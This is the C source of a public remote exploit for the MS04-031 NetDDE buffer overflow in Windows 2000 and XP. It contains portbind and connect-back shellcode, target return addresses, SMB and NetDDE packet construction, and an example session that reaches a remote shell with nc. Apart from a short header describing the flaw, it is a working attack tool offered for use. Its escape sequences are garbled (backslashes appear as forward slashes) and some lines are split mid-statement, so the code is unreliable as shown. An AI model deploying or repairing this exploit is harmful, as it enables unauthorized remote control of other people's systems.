Microsoft Windows NetDDE Remote Buffer Overflow Exploit (MS04-031)

* HOD-ms04031-netdde-expl.c: 2004-12-30: PUBLIC v.0.2 
 * 
 * Copyright (c) 2004 houseofdabus. 
 * 
 * (MS04-031) NetDDE buffer overflow vulnerability PoC 
 * 
 * 
 * 
 * 
 *                 .::[ houseofdabus ]::. 
 * 
 * 
 * 
 * (special unstable version) 
 * --------------------------------------------------------------------- 
 * Description: 
 *    A remote code execution vulnerability exists in the  NetDDE 
 *    services because of an unchecked buffer. An attacker  who 
 *    successfully exploited this vulnerability could take complete 
 *    control of an affected system. However, the NetDDE services are 
 *    not started by default and would have to be manually started for 
 *    an attacker to attempt to remotely exploit this vulnerability. 
 *    This vulnerability could also be used to attempt to perform 
 *    a local elevation of privilege or remote denial of service. 
 * 
 * --------------------------------------------------------------------- 
 * Patch: 
 *  http://www.microsoft.com/technet/security/Bulletin/MS04-031.mspx 
 * 
 * --------------------------------------------------------------------- 
 * Tested on: 
 *    - Windows XP Professional SP0 
 *    - Windows XP Professional SP1 
 *    - Windows 2000 Professional SP2 
 *    - Windows 2000 Professional SP3 
 *    - Windows 2000 Professional SP4 
 *    - Windows 2000 Advanced Server SP4 
 * 
 * --------------------------------------------------------------------- 
 *    This is provided as proof-of-concept code only for educational 
 *    purposes and testing by authorized individuals with permission to 
 *    do so. 
 * 
 * --------------------------------------------------------------------- 
 * Compile: 
 * 
 * Win32/VC++  : cl -o HOD-ms04031-expl  HOD-ms04031-expl.c 
 * Win32/cygwin: gcc -o HOD-ms04031-expl  HOD-ms04031-expl.c -lws2_32.lib 
 * Linux       : gcc -o HOD-ms04031-expl  HOD-ms04031-expl.c -Wall 
 * 
 * --------------------------------------------------------------------- 
 * Command Line Parameters/Arguments: 
 * 
 *   HOD-ms04031-expl.exe <host> <netbios name>  <target> <bindport> 
 *                        [connectback IP] [options] 
 * 
 * Targets: 
 *        0 [0x00abfafc]: WinXP [universal] 
 *        1 [0x009efb40]: Win2K [universal] 
 * 
 * Options: 
 *        -f: Netbios name fingerprinting 
 * 
 * --------------------------------------------------------------------- 
 * Example: 
 * 
 * C:/>HOD-ms04031-expl.exe 192.168.0.1 -f 
 * [*] Connecting to 192.168.0.1:139 ... OK 
 * [*] Fingerprinting... OK 
 * [+] Remote netbios name: HOD 
 * 
 * C:/> 
 * C:/>HOD-ms04031-expl.exe 192.168.0.1 HOD 1 7878 
 * [*] Connecting to 192.168.0.1:139 ... OK 
 * [*] Attacking 192.168.0.1 ...OK. 
 * 
 * C:/>nc 192.168.0.1 7878 
 * 
 * Microsoft Windows 2000 [Version 5.00.2195] 
 * (C) Copyright 1985-2000 Microsoft Corp. 
 * 
 * C:/WINNT/system32> 
 * 
 * --------------------------------------------------------------------- 
 */ 
 
 
/* #define _WIN32 */ 
 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
 
#ifdef _WIN32 
#include <winsock2.h> 
#pragma comment(lib, "ws2_32") 
#else 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#endif 
 
 
/* targets table */ 
struct targets { 
 int num; 
 char name[50]; 
 long jmpaddr; 
} 
target[]= { 
 { 0, "WinXP [universal] ", 0x00abfb1c - 0x20 }, 
 { 1, "Win2K [universal] ", 0x009efb60 - 0x20 } 
}; 
 
 
/* portbind shellcode */ 
unsigned char portbindsc[] =  
"/xeb/x70/x56/x33/xc0/x64/x8b/x40/x30/x85/xc0/x78/x0c/x8b/x40/x0c" 
"/x8b/x70/x1c/xad/x8b/x40/x08/xeb/x09/x8b/x40/x34/x8d/x40/x7c/x8b" 
"/x40/x3c/x5e/xc3/x60/x8b/x6c/x24/x24/x8b/x45/x3c/x8b/x54/x05/x78" 
"/x03/xd5/x8b/x4a/x18/x8b/x5a/x20/x03/xdd/xe3/x34/x49/x8b/x34/x8b" 
"/x03/xf5/x33/xff/x33/xc0/xfc/xac/x84/xc0/x74/x07/xc1/xcf/x0d/x03" 
"/xf8/xeb/xf4/x3b/x7c/x24/x28/x75/xe1/x8b/x5a/x24/x03/xdd/x66/x8b" 
"/x0c/x4b/x8b/x5a/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/x89/x44/x24/x1c" 
"/x61/xc3/xeb/x3d/xad/x50/x52/xe8/xa8/xff/xff/xff/x89/x07/x83/xc4" 
"/x08/x83/xc7/x04/x3b/xf1/x75/xec/xc3/x8e/x4e/x0e/xec/x72/xfe/xb3" 
"/x16/x7e/xd8/xe2/x73/xad/xd9/x05/xce/xd9/x09/xf5/xad/xa4/x1a/x70" 
"/xc7/xa4/xad/x2e/xe9/xe5/x49/x86/x49/xcb/xed/xfc/x3b/xe7/x79/xc6" 
"/x79/x83/xec/x60/x8b/xec/xeb/x02/xeb/x05/xe8/xf9/xff/xff/xff/x5e" 
"/xe8/x3d/xff/xff/xff/x8b/xd0/x83/xee/x36/x8d/x7d/x04/x8b/xce/x83" 
"/xc1/x10/xe8/x9d/xff/xff/xff/x83/xc1/x18/x33/xc0/x66/xb8/x33/x32" 
"/x50/x68/x77/x73/x32/x5f/x8b/xdc/x51/x52/x53/xff/x55/x04/x5a/x59" 
"/x8b/xd0/xe8/x7d/xff/xff/xff/xb8/x01/x63/x6d/x64/xc1/xf8/x08/x50" 
"/x89/x65/x34/x33/xc0/x66/xb8/x90/x01/x2b/xe0/x54/x83/xc0/x72/x50" 
"/xff/x55/x24/x33/xc0/x50/x50/x50/x50/x40/x50/x40/x50/xff/x55/x14" 
"/x8b/xf0/x33/xc0/x33/xdb/x50/x50/x50/xb8/x02/x01/x11/x5c/xfe/xcc" 
"/x50/x8b/xc4/xb3/x10/x53/x50/x56/xff/x55/x18/x53/x56/xff/x55/x1c" 
"/x53/x8b/xd4/x2b/xe3/x8b/xcc/x52/x51/x56/xff/x55/x20/x8b/xf0/x33" 
"/xc9/xb1/x54/x2b/xe1/x8b/xfc/x57/x33/xc0/xf3/xaa/x5f/xc6/x07/x44" 
"/xfe/x47/x2d/x57/x8b/xc6/x8d/x7f/x38/xab/xab/xab/x5f/x33/xc0/x8d" 
"/x77/x44/x56/x57/x50/x50/x50/x40/x50/x48/x50/x50/xff/x75/x34/x50" 
"/xff/x55/x08/xf7/xd0/x50/xff/x36/xff/x55/x10/xff/x77/x38/xff/x55" 
"/x28/xff/x55/x0c"; 
 
 
/* connectback shellcode */ 
unsigned char connectbacksc[] =  
"/xeb/x70/x56/x33/xc0/x64/x8b/x40/x30/x85/xc0/x78/x0c/x8b/x40/x0c" 
"/x8b/x70/x1c/xad/x8b/x40/x08/xeb/x09/x8b/x40/x34/x8d/x40/x7c/x8b" 
"/x40/x3c/x5e/xc3/x60/x8b/x6c/x24/x24/x8b/x45/x3c/x8b/x54/x05/x78" 
"/x03/xd5/x8b/x4a/x18/x8b/x5a/x20/x03/xdd/xe3/x34/x49/x8b/x34/x8b" 
"/x03/xf5/x33/xff/x33/xc0/xfc/xac/x84/xc0/x74/x07/xc1/xcf/x0d/x03" 
"/xf8/xeb/xf4/x3b/x7c/x24/x28/x75/xe1/x8b/x5a/x24/x03/xdd/x66/x8b" 
"/x0c/x4b/x8b/x5a/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/x89/x44/x24/x1c" 
"/x61/xc3/xeb/x35/xad/x50/x52/xe8/xa8/xff/xff/xff/x89/x07/x83/xc4" 
"/x08/x83/xc7/x04/x3b/xf1/x75/xec/xc3/x8e/x4e/x0e/xec/x72/xfe/xb3" 
"/x16/x7e/xd8/xe2/x73/xad/xd9/x05/xce/xd9/x09/xf5/xad/xec/xf9/xaa" 
"/x60/xcb/xed/xfc/x3b/xe7/x79/xc6/x79/x83/xec/x60/x8b/xec/xeb/x02" 
"/xeb/x05/xe8/xf9/xff/xff/xff/x5e/xe8/x45/xff/xff/xff/x8b/xd0/x83" 
"/xee/x2e/x8d/x7d/x04/x8b/xce/x83/xc1/x10/xe8/xa5/xff/xff/xff/x83" 
"/xc1/x10/x33/xc0/x66/xb8/x33/x32/x50/x68/x77/x73/x32/x5f/x8b/xdc" 
"/x51/x52/x53/xff/x55/x04/x5a/x59/x8b/xd0/xe8/x85/xff/xff/xff/xb8" 
"/x01/x63/x6d/x64/xc1/xf8/x08/x50/x89/x65/x30/x33/xc0/x66/xb8/x90" 
"/x01/x2b/xe0/x54/x83/xc0/x72/x50/xff/x55/x1c/x33/xc0/x50/x50/x50" 
"/x50/x40/x50/x40/x50/xff/x55/x14/x8b/xf0/x68/x7f/x01/x01/x01/xb8" 
"/x02/x01/x11/x5c/xfe/xcc/x50/x8b/xdc/x33/xc0/xb0/x10/x50/x53/x56" 
"/xff/x55/x18/x33/xc9/xb1/x54/x2b/xe1/x8b/xfc/x57/x33/xc0/xf3/xaa" 
"/x5f/xc6/x07/x44/xfe/x47/x2d/x57/x8b/xc6/x8d/x7f/x38/xab/xab/xab" 
"/x5f/x33/xc0/x8d/x77/x44/x56/x57/x50/x50/x50/x40/x50/x48/x50/x50" 
"/xff/x75/x30/x50/xff/x55/x08/xf7/xd0/x50/xff/x36/xff/x55/x10/xff" 
"/x77/x38/xff/x55/x20/xff/x55/x0c"; 
 
 
#define SET_PORTBIND_PORT(buf, port) *(unsigned 
short *)(((buf)+300)) = (port) 
#define SET_CONNECTBACK_IP(buf, ip) *(unsigned 
long  *)(((buf)+283)) = (ip) 
#define SET_CONNECTBACK_PORT(buf, port) 
*(unsigned short *)(((buf)+290)) = (port) 
 
 
/*  
   eax = target[].jmpaddr -> stack -> jmpcode -> shellcode 
 
   1. 0100D605   call        dword ptr [eax+20h] 
   2. jmpcode 
   3. shellcode 
*/ 
 
char jmpcode[] = 
"/x90/x90/x90/x90/x66/x81/xC7/x20/x03/xFF/xE7/x90/x90/x90/x90/x90" 
"/x50/x6f/x43/x20/x66/x6f/x72/x20/x4e/x65/x74/x44/x44/x45/x20/x28" 
"/x4d/x53/x30/x34/x2d/x30/x33/x31/x29/x2e/x20/x43/x6f/x70/x79/x72" 
"/x69/x67/x68/x74/x20/x28/x63/x29/x20/x32/x30/x30/x34/x2d/x32/x30" 
"/x30/x35/x20/x68/x6f/x75/x73/x65/x6f/x66/x64/x61/x62/x75/x73/x2e" 
"/xBB/xBB/xBB/xBB" /* => eax */ 
"PADPAD"; 
 
char smb_sesreq[] = 
"/x81/x00/x00/x44/x20/x43/x4b/x46/x44/x45/x4e/x45/x43/x46/x44/x45" 
"/x46/x46/x43/x46/x47/x45/x46/x46/x43/x43/x41/x43/x41/x43/x41/x43" 
"/x41/x43/x41/x43/x41/x00/x20/x45/x4b/x45/x44/x46/x45/x45/x49/x45" 
"/x44/x43/x41/x43/x41/x43/x41/x43/x41/x43/x41/x43/x41/x43/x41/x43" 
"/x41/x43/x41/x43/x41/x41/x41/x00"; 
 
char smb_negotiate[] = 
"/x00/x00/x00/x2f/xff/x53/x4d/x42/x72/x00/x00/x00/x00/x00/x00/x00" 
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x5c/x02" 
"/x00/x00/x00/x00/x00/x0c/x00/x02/x4e/x54/x20/x4c/x4d/x20/x30/x2e" 
"/x31/x32/x00"; 
 
char d1[] = 
"/x0d/x12/x0b/x06/x0d/x18/x1c/x01/x10/x03/x12/x08/x1d/x1f/x0a/x0a" 
"/x16/x02/x17/x0e/x1b/x0d"; 
 
char req1[] = 
"/x81/x00/x00/x44"; 
 
char req2[] = 
"CACACACACACACACACACACACACACACABP"; 
 
char h1[] = 
"/x45/x44/x44/x4E/x00/x00/x00"; 
 
char h2[] = 
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"; 
 
char h3[] = 
"/x00/x00/x02/x02/x00/x00/x00/x01/x00/x00/x00"; 
 
 
unsigned long ndlen = 0; 
unsigned long ntarget = 0; 
unsigned long backip = 0; 
unsigned short bindport = 0; 
 
 
 
unsigned long 
fixx(unsigned char *data, unsigned long i) 
{ 
 unsigned long len; 
 
 len = (data[i+3]<<24) + 
  (data[i+2]<<16) + 
  (data[i+1]<<8) + 
  (data[i]); 
 
return len; 
} 
 
 
unsigned long 
chksum(unsigned char *data, unsigned long dlen) 
{ 
 unsigned long i, len; 
 unsigned long chk; 
 
 chk = 0xFFFFFFFF; 
 len = dlen - 4; 
 
 for (i=0; i<len; i+=4) 
  chk += fixx(data, i); 
 
 while (i < dlen) { 
  chk += (unsigned char)data[i]; 
  i++; 
 } 
 
return chk; 
} 
 
 
char * 
netbios_encode(char *ndata, char service) 
{ 
 char *tmpdata, *data, *nret; 
 unsigned long dlen; 
 char odiv, omod, o; 
 int i; 
 
 data = (char *)calloc(17, 1); 
 memcpy(data, ndata, strlen(ndata)); 
 
 dlen = strlen(data); 
 while (dlen < 15) { 
  strcat(data, "/x20"); 
  dlen++; 
 } 
 
 memcpy(data+strlen(data), &service, 1); 
 
 nret = (char *)calloc(strlen(data)*2+1, 1); 
 tmpdata = nret; 
 
 for (i=0; i<16; i++) { 
  o = (char)data[i]; 
  odiv = o / 16; 
  odiv = odiv + 0x41; 
  omod = o % 16; 
  omod = omod + 0x41; 
  *tmpdata++ = odiv; 
  *tmpdata++ = omod; 
 } 
 
 free(data); 
 
return nret; 
} 
 
unsigned char * 
find_smbname(unsigned char *data, unsigned long len) 
{ 
 unsigned char *ptr; 
 unsigned long i = 0; 
 
 ptr = data; 
 ptr += 91; 
 
 while (i <= len - 3) { 
  if (ptr[i] == '/x00') 
  if (ptr[i+1] == '/x00') 
  if (ptr[i+2] == '/x00') 
   return ptr+i+3; 
 i++; 
 } 
 
return NULL; 
} 
 
/* fingerprinting */ 
unsigned char * 
smb_get_name(char *ip) 
{ 
 int sock, r; 
 unsigned long smbname_len; 
 unsigned char *name = NULL, *smbname; 
 struct sockaddr_in s; 
 struct hostent *he; 
 unsigned char buf[256]; 
 
 
 if ((he = gethostbyname(ip)) == NULL) { 
  printf("[-] Unable to resolve %s/n", ip); 
  return NULL; 
 } 
 
 sock = socket(AF_INET, SOCK_STREAM, 
IPPROTO_TCP); 
 if (sock < 0) return NULL; 
 
 s.sin_family = AF_INET; 
 s.sin_addr = *((struct in_addr *)he->h_addr); 
 s.sin_port = htons(139); 
 memset(&(s.sin_zero), '/0', 8); 
 
 memset(buf, 0, 256); 
 
 printf("[*] Connecting to %s:139 ... ", ip); 
 r = connect(sock, (struct sockaddr *) &s, sizeof(struct 
sockaddr_in)); 
 if (r == 0) { 
  printf("OK/n[*] Fingerprinting... "); 
  /* sending session request */ 
  send(sock, smb_sesreq, sizeof(smb_sesreq)-1, 
0); 
  Sleep(1000); 
  r = recv(sock, (char *)buf, 256, 0); 
  if (r < 0) goto err; 
 
  memset(buf, 0, 256); 
  /* sending negotiation request */ 
  send(sock, smb_negotiate, 
sizeof(smb_negotiate)-1, 0); 
  Sleep(1000); 
  r = recv(sock, (char *)buf, 256, 0); 
  if (r < 0) goto err; 
 
  printf("OK/n"); 
  smbname = find_smbname(buf, r); 
  if (smbname == NULL) goto err; 
  smbname_len = smbname - buf; 
 
  name = (unsigned char *)calloc(smbname_len, 
1); 
 
  /* decoding */ 
  r = 0; 
  while (smbname_len) { 
   if (*smbname != '/x00') { 
    name[r] = *smbname; 
    r++; 
   } 
   smbname++; 
   smbname_len--; 
  } 
 } else { 
  printf("failed/n[-] Can't connect to %s:139/n", ip); 
 } 
 
err: 
 shutdown(sock, 1); 
 closesocket(sock); 
 
return name; 
} 
 
 
/* NetDDE packet */ 
char * 
packet_assembly(char *name, char *host) 
{ 
 char *main, *header, *data; 
 char *lname, *rhost; 
 unsigned long llen, rlen, len, hlen, dlen, csum, i; 
 unsigned char name_hi, name_low, rhost_hi, 
rhost_low; 
 unsigned char hod_hi, hod_low, len_hi, len_low; 
 unsigned char nops[] = "/x90/x90/x90/x90"; /* nops */ 
 char hod[] = "HOD-HOD/x01"; 
 char hmain[] = "/x01/x00/xBE/x05/x0A/x00/x00"; 
 char tmp[8]; 
 
 
 llen = strlen(name) + 4; 
 rlen = strlen(host); 
 lname = (char *)calloc(llen + 3, 1); 
 rhost = (char *)calloc(rlen + 3, 1); 
 
 memcpy(lname, name, llen); 
 strcpy(rhost, host); 
 memcpy(lname + llen, "/x01", 1); 
 strcat(rhost, "/x01"); 
 
 name_hi   = (unsigned char) ((llen+1) / 256); 
 name_low  = (unsigned char) ((llen+1) % 256); 
 rhost_hi  = (unsigned char) ((rlen + llen + 2) / 256); 
 rhost_low = (unsigned char) ((rlen + llen + 2) % 256); 
 
 len = sizeof(hod) - 1; 
 hod_hi  = (unsigned char) (len / 256); 
 hod_low = (unsigned char) (len % 256); 
 
 main = (char *)calloc( sizeof(hod)-1 + 
    sizeof(hmain)-1 + 
    llen + rlen + 
    11, 1 ); 
 
 memcpy(main, hmain, sizeof(hmain)-1); 
 sprintf(tmp, "%c%c%c%c%c%c", name_hi, name_low, 
  rhost_hi, rhost_low, hod_hi, hod_low); 
 
 memcpy(main+sizeof(hmain)-1, tmp, 6); 
 memcpy(main+sizeof(hmain)-1+6, "/x00", 1); 
 memcpy(main+sizeof(hmain)-1+7, lname, llen+1); 
 memcpy(main+sizeof(hmain)-1+7+llen+1, rhost, 
rlen+1); 
 memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1, hod, 
sizeof(hod)-1); 
 
memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1, 
   "/x2e", 1); 
 
 len = 
sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1+1; 
 len_hi  = (unsigned char) (len / 256); 
 len_low = (unsigned char) (len % 256); 
 
 
 /* header */ 
 header = (char *)calloc(sizeof(h1)-1 + 
    sizeof(h2)-1 + 
    sizeof(h3)-1 + 
    9, 1); 
 
 memcpy(header, h1, sizeof(h1)-1); 
 sprintf(tmp, "%c%c", len_hi, len_low); 
 memcpy(header+sizeof(h1)-1, tmp, 2); 
 memcpy(header+sizeof(h1)-1+2, h2, sizeof(h2)-1); 
 memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1, tmp, 2); 
 memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1+2, h3, 
sizeof(h3)-1); 
 
 csum = chksum(main, len); 
 memcpy(header+sizeof(h1)-1+sizeof(h2)-1+4 
   + sizeof(h3)-1, &csum, 4); 
 
 
 /* data */ 
 hlen = sizeof(h1)-1 + sizeof(h2)-1 + sizeof(h3)-1 + 8; 
 data = (char *)calloc( sizeof(d1)-1 + 
    len+hlen + 
    37 + 
    1200, 1 ); 
 
 csum = chksum(header, hlen); 
 memcpy(data+4, &csum, 4); 
 memcpy(data+4+4, header, hlen); 
 memcpy(data+4+4+hlen, main, len); 
 memcpy(data+4+4+hlen+len, d1, sizeof(d1)-1); 
 
 /* nops */ 
 for (i=0; i<154; i++) 
  memcpy(data+4+4+hlen+len+sizeof(d1)-1 + i*4, 
nops, 4); 
 
 /* shellcode */ 
 if (!backip) { 
  /* portbind */ 
  SET_PORTBIND_PORT(portbindsc, 
htons(bindport)); 
  
memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4, 
portbindsc, sizeof(portbindsc)-1); 
  dlen = 
4+hlen+len+sizeof(d1)-1+sizeof(portbindsc)-1+154*4; 
 } else { 
  /* connectback */ 
  SET_CONNECTBACK_IP(connectbacksc, 
backip); 
  SET_CONNECTBACK_PORT(connectbacksc, 
htons(bindport)); 
  
memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4, 
connectbacksc, sizeof(connectbacksc)-1); 
  dlen = 
4+hlen+len+sizeof(d1)-1+sizeof(connectbacksc)-1+154*4; 
 } 
 
 ndlen = dlen + 4; 
 dlen = htonl(dlen); 
 memcpy(data, &dlen, 4); 
 
 free(lname); 
 free(rhost); 
 free(main); 
 free(header); 
 
return data; 
} 
 
 
void 
usage(char *prog) 
{ 
 int i; 
 
 printf("%s <host> <netbios name> <target> <bindport> 
[connectback IP] [options]/n/n", prog); 
 printf("Targets:/n"); 
 for (i = 0; i < 2; i++) 
  printf(" %d [0x%.8x]: %s/n", target[i].num, 
target[i].jmpaddr, target[i].name); 
 printf("/nOptions:/n/t-f: Netbios name fingerprinting/n"); 
 exit(0); 
 
} 
 
void 
vargs(int argc, char **argv) 
{ 
 int i, finger = 0; 
 char *nname = NULL; 
 
 for (i = 2; i < argc; i++) { 
  if (argv[i][0] == '-') { 
   if (argv[i][1] == 'f') 
    finger = 1; 
  } 
 } 
 
 if (finger && argc > 2) { 
  nname = smb_get_name(argv[1]); 
  if (nname) { 
   printf("[+] Remote netbios name: %s/n", 
nname); 
   free(nname); 
  } 
  exit(0); 
 } else 
 if (argc < 5) usage(argv[0]); 
 if ((ntarget = atoi(argv[3])) > 1) usage(argv[0]); 
 
 bindport = (unsigned short)atoi(argv[4]); 
 if (argc > 5) backip = inet_addr(argv[5]); 
 
return; 
} 
 
 
 
int 
main (int argc, char **argv) 
{ 
 
 int len, sockfd; 
 char *host; 
 char *req; 
 struct hostent *he; 
 struct sockaddr_in their_addr; 
 char rbuf[4096]; 
 
#ifdef _WIN32 
 WSADATA wsa; 
#endif 
 
 char *ses_req; 
 char *data, *hname; 
 char *hn, *hn2; 
 unsigned long req_sz, hname_len, hn_len; 
 
 
#ifdef _WIN32 
 WSAStartup(MAKEWORD(2,0), &wsa); 
#endif 
 
 
 printf("/n      (MS04-031) NetDDE buffer overflow 
vulnerability PoC/n/n"); 
 printf("/tCopyright (c) 2004-2005 .::[ houseofdabus 
]::./n/n/n"); 
 
 vargs(argc, argv); 
 
 hn = argv[2]; /* target netbios name */ 
 host = argv[1]; /* target host name */ 
 
 if (strlen(host) > 1024) return 0; 
 
 /* target jmpaddr */ 
 memcpy(jmpcode+80, &target[ntarget].jmpaddr, 4); 
 
 ses_req = (char *)calloc(sizeof(req1)-1 + 
     sizeof(req2)-1 + 
     114, 1); 
 
 memcpy(ses_req, req1, sizeof(req1)-1); 
 memcpy(ses_req+sizeof(req1)-1, "/x20", 1); 
 
 hname = netbios_encode(hn, 0x1F); 
 hname_len = strlen(hname); 
 
 memcpy(ses_req+sizeof(req1)-1+1, hname, 
hname_len); 
 memcpy(ses_req+sizeof(req1)-1+1+hname_len, 
"/x00/x20", 2); 
 memcpy(ses_req+sizeof(req1)-1+1+hname_len+2, 
req2, sizeof(req2)-1); 
 
memcpy(ses_req+sizeof(req1)-1+1+hname_len+2+sizeof(req2)-1, 
"/x00", 1); 
 
 req_sz = 
sizeof(req1)-1+sizeof(req2)-1+hname_len+4; 
 
 if ((he = gethostbyname(host)) == NULL) { 
  printf("[-] Unable to resolve %s/n", host); 
  return 0; 
 } 
 
 if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 
0) { 
  printf("[-] Error: socket failed/n"); 
  return 0; 
 } 
 
 req = req1; 
 
 their_addr.sin_family = AF_INET; 
 their_addr.sin_port = htons(139); 
 their_addr.sin_addr = *((struct in_addr *)he->h_addr); 
 memset(&(their_addr.sin_zero), '/0', 8); 
 
 /* connecting */ 
 printf("[*] Connecting to %s:139 ... ", host); 
 if (connect(sockfd, (struct sockaddr *)&their_addr, 
sizeof(struct sockaddr)) < 0) { 
  printf("[-] Error: connect failed/n"); 
  return 0; 
 } 
 printf("OK/n"); 
 
 if (send(sockfd, ses_req, req_sz, 0) < 0) { 
  printf("[-] Error: send failed/n"); 
  return 0; 
 } 
 
 len = recv(sockfd, rbuf, 4096, 0); 
 if (len < 0) return 0; 
 
 /* check NetDDE */ 
 if ((unsigned char)rbuf[0] != 0x82) { 
  printf("[-] NetDDE disabled or wrong netbios 
name/n"); 
  return 0; 
 } 
 
 hn2 = (char *)calloc(16, 1); 
 memcpy(hn2, hn, strlen(hn)); 
 hn_len = strlen(hn); 
 
 while (hn_len < 15) { 
  strcat(hn2, "/x20"); 
  hn_len++; 
 } 
 
 /* attacking */ 
 printf("[*] Attacking %s ...", host); 
 
 data = packet_assembly(jmpcode, hn2); 
 
 if (send(sockfd, data, ndlen, 0) < 0) { 
  printf("/n[-] Error: send failed/n"); 
  return 0; 
 } 
 printf("OK./n"); 
 len = recv(sockfd, rbuf, 4096, 0); 
 
 shutdown(sockfd, 1); 
 closesocket(sockfd); 
 free(data); 
 free(hn2); 
 free(ses_req); 
 free(hname); 
 
return 0; 
}